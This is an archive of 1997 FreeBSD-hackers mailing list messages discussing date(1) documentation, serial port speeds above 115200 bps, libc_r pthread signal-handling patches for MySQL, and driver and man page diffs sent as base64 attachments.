charset=us-ascii Date: Sun, 10 Aug 1997 21:53:41 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The documentation's inadequate. Sure, it points to environ(7), but > since TZ is almost never used in BSD, there's a tendency to think > it'll be like a System V TZ, which is completely different. How about > adding: > > --- /usr/share/man/man1/date.1.orig Fri Aug 1 04:13:12 1997 > +++ /usr/share/man/man1/date.1 Fri Aug 1 14:54:38 1997 > @@ -171,6 +171,11 @@ > .Bl -tag -width Ds > .It Ev TZ > The timezone to use when displaying dates. > +The normal format is a pathname relative to > +.Dq Pa /usr/share/zoneinfo . > +For example, the command > +.Dq env TZ=America/Los_Angeles date > +displays the current time in California. > See > .Xr environ 7 > for more information. But this is already mentioned in environ(7). -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Aug 10 14:06:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14974 for hackers-outgoing; Sun, 10 Aug 1997 14:06:51 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA14965 for ; Sun, 10 Aug 1997 14:06:43 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id VAA02397; Sun, 10 Aug 1997 21:49:31 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.7/8.8.6) with ESMTP id VAA21847; Sun, 10 Aug 1997 21:49:30 +0100 (BST) Message-Id: <199708102049.VAA21847@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: Tim Vanderhoek cc: Greg Lehey , Brian Somers , FreeBSD Hackers Subject: Re: date(1) In-reply-to: Your message of "Fri, 01 Aug 1997 00:21:33 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 21:49:30 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Of course, in the interest of script-portability, we should not > extend date(1) at all. Anyone trying to enter the century should > get an error. This is the whole purpose of Posix, to increase > portability. By creating extensions to it, we defeat the whole > purpose just for the sake of creating a better operating system. Well, I've done the other changes (they only take effect if you use the new flags). Is the general concensus that we should leave out the century ? It's no loss if we leave it out as allowable dates are between 1980 & early 2038.... until a time_t gets bigger in which case the 2038 bits in localtime.c will have to be fixed. > -- > Outnumbered? Maybe. Outspoken? Never! > tIM...HOEk > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Aug 10 14:07:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA15067 for hackers-outgoing; Sun, 10 Aug 1997 14:07:25 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA15057 for ; Sun, 10 Aug 1997 14:07:19 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id UAA02314; Sun, 10 Aug 1997 20:01:46 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.7/8.8.6) with ESMTP id UAA14943; Sun, 10 Aug 1997 20:01:46 +0100 (BST) Message-Id: <199708101901.UAA14943@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: ac199@hwcn.org cc: "Pedro Giffuni S," , hoek@hwcn.org, Brandon Gillespie , freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-reply-to: Your message of "Sun, 10 Aug 1997 14:34:06 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 20:01:46 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sun, 10 Aug 1997, Pedro Giffuni S, wrote: > > > Tim Vanderhoek wrote: > > > > > > It might help to Cc the original pr to the person who (should) be > > > responsible. Any reason for a follow-up can also remind someone > > > of the pr, too. :-) > > > > It is not always clear who is responsible, specially if you are not a > > developer..:-(. > > CVS logs are publicly available and show who the last person to > touch a given piece of code is. By the Law of CyberSpace, the > last person to touch a piece of code is responsible. :-) He he :-), that puts Philippe Charnier in charge of most of FreeBSD !!! > Of course, that doesn't mean they _are_ responsible... It just > means they _should be_... ;-) Oh well. > -- > tIM...HOEk > OPTIMIZATION: the process of using many one-letter variables names > hoping that the resultant code will run faster. > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Aug 10 14:09:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA15184 for hackers-outgoing; Sun, 10 Aug 1997 14:09:24 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA15177 for ; Sun, 10 Aug 1997 14:09:20 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxfDA-0001Xe-00; Sun, 10 Aug 1997 14:07:40 -0700 Date: Sun, 10 Aug 1997 14:07:39 -0700 (PDT) From: Tom Samplonius To: Terry Lambert cc: joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org Subject: Re: ISDN drivers/cards In-Reply-To: <199708101948.MAA11188@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Terry Lambert wrote: > > As Tom Samplonius wrote: > > > > > > going from TA to TA or TA to Router, I'd love to see an internal card that > > > > doesn't use 16550's that I can put in my freebsd machine and get good > > > > > > This can be improved a lot. Most TAs support a 230400bps rate, but > > > FreeBSD does not. > > > > Well, that's not the first time you're spreading this misinformation > > around: FreeBSD _would_ support this rate (basically), but the under- > > lying hardware doesn't. Who wrote the above? They didn't CC it to me. Also, they certainly didn't respond to my much earlier messages about 230400 support. Also, the underlying hardware DOES support that rate. The 16670 does. Support was added to current to probe this uart (see list archives for the bitching when it broke things). There are also other uarts and other cards that support this rate. I suggest that you stop spreading misinformation that the hardware doesn't support 230400bps. It does. 16670 and better uarts do. > > If you've got a card where you could double the oscillator frequency, > > simply do it, and FreeBSD will support 230400 bps (but call it 115200 > > still). > > Didn't Tom post a while back about needing a driver for a faster UART, > but not knowing how to pass the information down? > > Was that Tom? Nope, it was somone else. It seems that some the card drivers are just re-using the low speed indicators to actually set >115200 baud rates. > I remember that *someone* had just done this, and no one responded > to the request for how to set 230400. > > There *is* a B230400 in termios.h, if anyone is interested... I > didn't respond to the initial request because I thought Bruce Evans > or Mike Smith would answer the question. > > > > > FreeBSD-current now detects the 16670 UART that supports 230400 (and > > > faster. But it doesn't seem possible to set a port to 230400. > > > > Ah, that's what you mean. So, if they support 230 kbps, they must > > have left the way it used to be done in a 8250-compatible UART. (The > > divisor 1 already yielded 115200. Are they using divisor 0 now? :-) > > If they are, they are using it to say "look elsewhere for your divisor"; > probably they just have another divisor register that someone needs to > teach sio about... like someone with a 16670 UART to play with. 8-). Not really relevant. Can a port be used at >115200 under FreeBSD? The answer seems to be: - Hack the hardware to double the clock rate, so that 115200 is actually 230400. This only works with uarts that have an accessible crystal. - Use a driver and card that is hacked to re-use low speed baud rate indicaters to actually specify a higher rate (ex. 150 bps is acactually 230400). > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > > Tom From owner-freebsd-hackers Sun Aug 10 14:59:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA18057 for hackers-outgoing; Sun, 10 Aug 1997 14:59:15 -0700 (PDT) Received: from locust.etext.org (locust.etext.org [141.211.26.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA18045 for ; Sun, 10 Aug 1997 14:59:12 -0700 (PDT) Received: from localhost (pauls@localhost) by locust.etext.org (8.8.7/8.7.3) with SMTP id RAA21456 for ; Sun, 10 Aug 1997 17:59:11 -0400 (EDT) Date: Sun, 10 Aug 1997 17:59:11 -0400 (EDT) From: Paul Southworth Reply-To: Paul Southworth To: freebsd-hackers@freebsd.org Subject: Re: MySQL using FreeBSD native threads (3.0) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Here's the latest regarding libc_r and MySQL. The patch below is against the libc_r source in 970618-SNAP. ----------------------------------------------------------------------- Here is the 'newest' compleate patch that appears to work: (At least sigwait() now works according to Posix and MySQL really neads this): Please mail a copy of this to the freebsd-hackers list. This mails ends with a compleat patch that fixes everything except the pthread.h problem with struct sched_param, but I was able to handle this with configure. ------- Bugs found in Freebsd's pthread implementation: ---------------------------------------- - sigsuspend should replace the callers mask to the given mask, not add the given mask to the old mask. The signals should also be handled and not as with SIGWAIT where the signal function is ignored. Fix: uthread_sigsuspend.c: /* Save the current sigmal mask: */ oset = _thread_run->sigmask; ! /* Replace the caller's mask with the current one: */ ! _thread_run->sigmask= *set; /* Patched by Monty */ /* Wait for a signal: */ ! _thread_kern_sched_state(PS_SIGSUSPEND, __FILE__, __LINE__); uthread_kern.c: case PS_FDR_WAIT: case PS_FDW_WAIT: case PS_SLEEP_WAIT: + case PS_SIGSUSPEND: And of course add a definition for PS_SIGSUSPEND. ---------------------------------------- - It almost impossible to debug threads because all signals are masked in the threads library. Fix: uthread_kern.c, line 53 - static sigset_t sig_to_block = 0xffffffff; + static sigset_t sig_to_block = ~((1 << 5) | (1 << 6) | (1 << 4)); ---------------------------------------- - The sigwait function is in the library but it isn't exported. - A signal to a thread in sigwait doesn't set the thread 'runnable'. This is because the arguments to sigwait() is put to sigmask which doesn't work because the signal must be sent to _thread_signal(). - Signals that are not waited for with sigwait() should be handled before they are returned. - sigwait returns 'random' value: Fix: Add uthread_sigwait.c to libc_r/uthread/Makefile.inc Change sigwait to: In pthread_privat.h PS_DEAD, ! PS_STATE_MAX, + PS_SIGSUSPEND }; ---- /* * Current signal mask and array of pending signals. */ ! sigset_t sigmask,sigwaitmask; int sigpend[NSIG]; uthread_kern.c: Change: /* Waiting on a signal: */ case PS_SIGWAIT: /* Change the state of the thread to run: */ PTHREAD_NEW_STATE(pthread,PS_RUNNING); /* Return the signal number: */ pthread->signo = sig; /* Flag the signal as dealt with: */ done = 1; break; } to /* Waiting on a signal: */ case PS_SIGWAIT: /* Change the state of the thread to run: */ PTHREAD_NEW_STATE(pthread,PS_RUNNING); if (sigismember(&pthread->sigwaitmask, sig)) { /* Return the signal number: */ pthread->signo = sig; /* Flag the signal as dealt with: */ done = 1; } break; ---------------------------------------- Because one needs to access the struct sched_param slots this must be defined when one includes pthread.h. One should also change the slot name from 'prior' to 'sched_priority' according to Posix. Fix: Move definition of structs sched_param from pthread_private.h to pthread.h. Change: struct sched_param { int prio; void *no_data; }; to struct sched_param { int sched_priority; void *no_data; }; Empty definition of the schedparam functions would also be nice.. ******************************************************************************* Complete patch of the above with some small additions for sigsuspend: diff of Makefile.inc in /usr/src/lib/libc_r/uthread/ and . 85a86 > uthread_sigwait.c \ diff of pthread_private.h in /usr/src/lib/libc_r/uthread/ and . 243c243,244 < PS_STATE_MAX --- > PS_STATE_MAX, > PS_SIGSUSPEND 344c345 < sigset_t sigmask; --- > sigset_t sigmask,sigwaitmask; diff of uthread_kern.c in /usr/src/lib/libc_r/uthread/ and . 53c53,54 < static sigset_t sig_to_block = 0xffffffff; --- > /* Changed by monty for easy debugging of pthreads with gdb */ > static sigset_t sig_to_block = ~((1 << 5) | (1 << 6) | (1 << 4)); 893a895 > case PS_SIGSUSPEND: 909a912,913 > if (sigismember(&pthread->sigwaitmask, sig)) > { 914a919 > } 1100a1106 > case PS_SIGSUSPEND: 1449a1456 > case PS_SIGSUSPEND: diff of uthread_sigsuspend.c in /usr/src/lib/libc_r/uthread/ and . 50,51c50,51 < /* Combine the caller's mask with the current one: */ < _thread_run->sigmask |= *set; --- > /* Replace the caller's mask with the current one: */ > _thread_run->sigmask= *set;/* Patched by Monty */ 54c54 < _thread_kern_sched_state(PS_SIGWAIT, __FILE__, __LINE__); --- > _thread_kern_sched_state(PS_SIGSUSPEND, __FILE__, __LINE__); diff of uthread_sigwait.c in /usr/src/lib/libc_r/uthread/ and . 38a39,40 > /* This version of sigwait is modifed by monty@tcx.se to work properly */ > 42c44 < int ret; --- > int ret=0; 49,51d50 < /* Save the current sigmal mask: */ < oset = _thread_run->sigmask; < 53c52,56 < _thread_run->sigmask |= *set; --- > _thread_run->sigmask &= ~*set; > _thread_run->sigwaitmask = *set; > > /* Clear for easy error check */ > _thread_run->signo=0; 62a66,68 > > /* Reset the sigwait mask for debugging */ > _thread_run->sigwaitmask = 0; From owner-freebsd-hackers Sun Aug 10 15:00:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18241 for hackers-outgoing; Sun, 10 Aug 1997 15:00:40 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA18236 for ; Sun, 10 Aug 1997 15:00:38 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id RAA29192; Sun, 10 Aug 1997 17:00:33 -0500 (EST) From: "John S. Dyson" Message-Id: <199708102200.RAA29192@dyson.iquest.net> Subject: Re: /usr/dos for doscmd In-Reply-To: <19970810170138.SM15800@uriah.heep.sax.de> from J Wunsch at "Aug 10, 97 05:01:38 pm" To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 10 Aug 1997 17:00:33 -0500 (EST) Cc: freebsd-hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I am going to be out-of-town for a few days, so if someone wants doscmd to work before I get back -- go ahead and fix it :-). I am relatively unbiased as to where the dos executable goes. John From owner-freebsd-hackers Sun Aug 10 15:07:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18513 for hackers-outgoing; Sun, 10 Aug 1997 15:07:28 -0700 (PDT) Received: from mom.hooked.net (root@mom.hooked.net [206.80.6.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA18504 for ; Sun, 10 Aug 1997 15:07:24 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-37.ppp.hooked.net [206.80.9.165]) by mom.hooked.net (8.8.5/8.8.5) with SMTP id PAA15703 for ; Sun, 10 Aug 1997 15:07:21 -0700 (PDT) Date: Sun, 10 Aug 1997 15:07:30 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: freebsd-hackers@freebsd.org Subject: aix7880 diffs Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-2001816438-871250850=:1983" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-2001816438-871250850=:1983 Content-Type: TEXT/PLAIN; charset=US-ASCII While not horribly important, I made these's diffs so that the output printed out by the ahc driver looks a little bit cleaner, as before it was kinda a mess IMO. I also added a check to print "Ultra " if the channel is Ultra scsi. So on my aic-7880 I see: ahc0: aic7880 Ultra Wide Channel, SCSI Id=2, 16/255 SCBs vs ahc0: aic7880 Wide Channel, SCSI Id=2, 16/255 SCBs - alex --0-2001816438-871250850=:1983 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="aic.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: KioqIC91c3Ivc3JjL3N5cy9pMzg2L3Njc2kvYWljN3h4eC5jCVN1biBKdWwg MjAgMDk6MjE6MzQgMTk5Nw0KLS0tIGFpYzd4eHguYwlTdW4gQXVnIDEwIDE0 OjU2OjI4IDE5OTcNCioqKioqKioqKioqKioqKg0KKioqIDE5NzQsMTk3OSAq KioqDQotLS0gMTk3NCwxOTgwIC0tLS0NCiAgI2VuZGlmDQogIA0KICAJLyog RGV0ZXJtaW5lIGNoYW5uZWwgY29uZmlndXJhdGlvbiBhbmQgd2hvIHdlIGFy ZSBvbiB0aGUgc2NzaSBidXMuICovDQorIAlpZiAoYWhjLT50eXBlICYgQUhD X1VMVFJBKSBwcmludGYoIlVsdHJhICIpOw0KICAJc3dpdGNoICgoc2Jsa2N0 bCA9IGFoY19pbmIoYWhjLCBTQkxLQ1RMKSAmIDB4MGEpKSB7DQogIAljYXNl IDA6DQogIAkJYWhjLT5vdXJfaWQgPSAoYWhjX2luYihhaGMsIFNDU0lDT05G KSAmIEhTQ1NJSUQpOw0KKioqKioqKioqKioqKioqDQoqKiogMjMyMCwyMzMy ICoqKioNCiAgCSAqIGluICJmYXN0IiBtb2RlLg0KICAgICAgICAgICAqLw0K ICAJaWYgKGJvb3R2ZXJib3NlKQ0KISAJCXByaW50ZigiJXM6IERvd25sb2Fk aW5nIFNlcXVlbmNlciBQcm9ncmFtLi4uIiwNCiAgCQkgICAgICAgYWhjX25h bWUoYWhjKSk7DQogIA0KICAJYWhjX2xvYWRzZXEoYWhjKTsNCiAgDQohIAlp ZiAoYm9vdHZlcmJvc2UpDQohIAkJcHJpbnRmKCJEb25lXG4iKTsNCiAgDQog IAl1bnBhdXNlX3NlcXVlbmNlcihhaGMsIC8qdW5wYXVzZV9hbHdheXMqL1RS VUUpOw0KICANCi0tLSAyMzIxLDIzMzMgLS0tLQ0KICAJICogaW4gImZhc3Qi IG1vZGUuDQogICAgICAgICAgICovDQogIAlpZiAoYm9vdHZlcmJvc2UpDQoh IAkJcHJpbnRmKCIlczogRG93bmxvYWRpbmcgU2VxdWVuY2VyIFByb2dyYW0u Li5cbiIsDQogIAkJICAgICAgIGFoY19uYW1lKGFoYykpOw0KICANCiAgCWFo Y19sb2Fkc2VxKGFoYyk7DQogIA0KISAvKglpZiAoYm9vdHZlcmJvc2UpDQoh IAkJcHJpbnRmKCJEb25lXG4iKTsgKi8NCiAgDQogIAl1bnBhdXNlX3NlcXVl bmNlcihhaGMsIC8qdW5wYXVzZV9hbHdheXMqL1RSVUUpOw0KICANCioqKiAv dXNyL3NyYy9zeXMvcGNpL2FpYzc4NzAuYwlGcmkgSnVuIDI3IDEyOjM5OjM0 IDE5OTcNCi0tLSBhaWM3ODcwLmMJU3VuIEF1ZyAxMCAxNDo1NjoyMSAxOTk3 DQoqKioqKioqKioqKioqKioNCioqKiA4NjksODc0ICoqKioNCi0tLSA4Njks ODc1IC0tLS0NCiAgCQkJCQkqc3hmcmN0bDEgfD0gU1RQV0VOOw0KICANCiAg CQkJCWlmIChib290dmVyYm9zZSkgew0KKyAJCQkJCXByaW50ZigiJXM6ICIs YWhjX25hbWUoYWhjKSk7DQogIAkJCQkJcHJpbnRmKCJsb3cgYnl0ZSB0ZXJt aW5hdGlvbiAlcywgIg0KICAJCQkJCSAgICAgICAiaGlnaCBieXRlIHRlcm1p bmF0aW9uICVzXG4iLA0KICAJCQkJCSAgICAgICBsb3dfb24gPyAiZW5hYmxl ZCI6ImRpc2FibGVkIiwNCioqKioqKioqKioqKioqKg0KKioqIDg5Miw4OTcg KioqKg0KLS0tIDg5Myw4OTkgLS0tLQ0KICAJCQkJICAgICAgICJ0ZXJtaW5h dGlvbiFcbiIpOw0KICAJCQkJDQogIAkJCWlmIChib290dmVyYm9zZSkgew0K KyAJCQkJcHJpbnRmKCIlczogIixhaGNfbmFtZShhaGMpKTsNCiAgCQkJCXBy aW50ZigibG93IGJ5dGUgdGVybWluYXRpb24gJXMsICINCiAgCQkJCSAgICAg ICAiaGlnaCBieXRlIHRlcm1pbmF0aW9uICVzXG4iLA0KICAJCQkJICAgICAg IHNjLmFkYXB0ZXJfY29udHJvbCAmIENGU1RFUk0gPw0K --0-2001816438-871250850=:1983-- From owner-freebsd-hackers Sun Aug 10 15:08:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18645 for hackers-outgoing; Sun, 10 Aug 1997 15:08:52 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA18640 for ; Sun, 10 Aug 1997 15:08:48 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id PAA12578; Sun, 10 Aug 1997 15:04:40 -0700 From: Terry Lambert Message-Id: <199708102204.PAA12578@phaeton.artisoft.com> Subject: Re: ISDN drivers/cards To: tom@sdf.com (Tom Samplonius) Date: Sun, 10 Aug 1997 15:04:39 -0700 (MST) Cc: hackers@freebsd.org In-Reply-To: from "Tom Samplonius" at Aug 10, 97 02:07:39 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > around: FreeBSD _would_ support this rate (basically), but the under- > > > lying hardware doesn't. [ ... ] > I suggest that you stop spreading misinformation that the hardware > doesn't support 230400bps. It does. 16670 and better uarts do. I assume you are replying to the "above" here, and not to me... > Nope, it was somone else. It seems that some the card drivers are just > re-using the low speed indicators to actually set >115200 baud rates. Yes. That was the problem I thought Bruce was going to address (he's qualified, and he has commit priv's). [ ... How can you use 230400 ever ... ] > - Hack the hardware to double the clock rate, so that 115200 is actually > 230400. This only works with uarts that have an accessible crystal. It's also a gross hack. > - Use a driver and card that is hacked to re-use low speed baud rate > indicaters to actually specify a higher rate (ex. 150 bps is acactually > 230400). Hmmm... I'm not terribly happy with the pinning of EXTA and EXTB to 19200 and 38400, respectively. That's the historical value. The real values are *supposed* to allow you to set "extended" baud rate options on the chips. My opinion would be that I think the window is large enough for an EXTA/EXTB conversion. Specifically, there should not be specific baud rates associated with them (and maybe the real rates should be picked in the kernel config? I don't know if this would cost 19.2/38.4, unless some low bits were reused. So technically, you should be able to use one of EXTA/B to mean "230400" for your use... In any case, termios is *supposed* to support setting these high rates, since there *are* defined 'B'values for up to 230400, on the high end. I think your problem is that the SIO driver isn't taking this? I'd suggest taking it to private email with Bruce, actually (or whoever "touched it" last, based on the CVS logs...). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 10 15:12:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18920 for hackers-outgoing; Sun, 10 Aug 1997 15:12:24 -0700 (PDT) Received: from mom.hooked.net (root@mom.hooked.net [206.80.6.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA18914 for ; Sun, 10 Aug 1997 15:12:21 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-37.ppp.hooked.net [206.80.9.165]) by mom.hooked.net (8.8.5/8.8.5) with SMTP id PAA17089 for ; Sun, 10 Aug 1997 15:12:18 -0700 (PDT) Date: Sun, 10 Aug 1997 15:12:26 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: freebsd-hackers@freebsd.org Subject: ncr(4) man page update Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-997881644-871251130=:1983" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-997881644-871251130=:1983 Content-Type: TEXT/PLAIN; charset=US-ASCII I checked out the man page, and it seemed rather lacking, so I looked in LINT, found a few undocumented options, poked around in the ncr source, found what the options do and added brief comments in both LINT and the ncr man page. I was not sure what to do with the rcs IDs, so I just removed them, if I was supposed to do something different with them, I'd like to know so as not to make the same mistake again. - alex --0-997881644-871251130=:1983 Content-Type: APPLICATION/octet-stream; name="ncr.tar.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 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 HOEIRzjCXwD/AzRK74IAKAAA --0-997881644-871251130=:1983-- From owner-freebsd-hackers Sun Aug 10 15:22:26 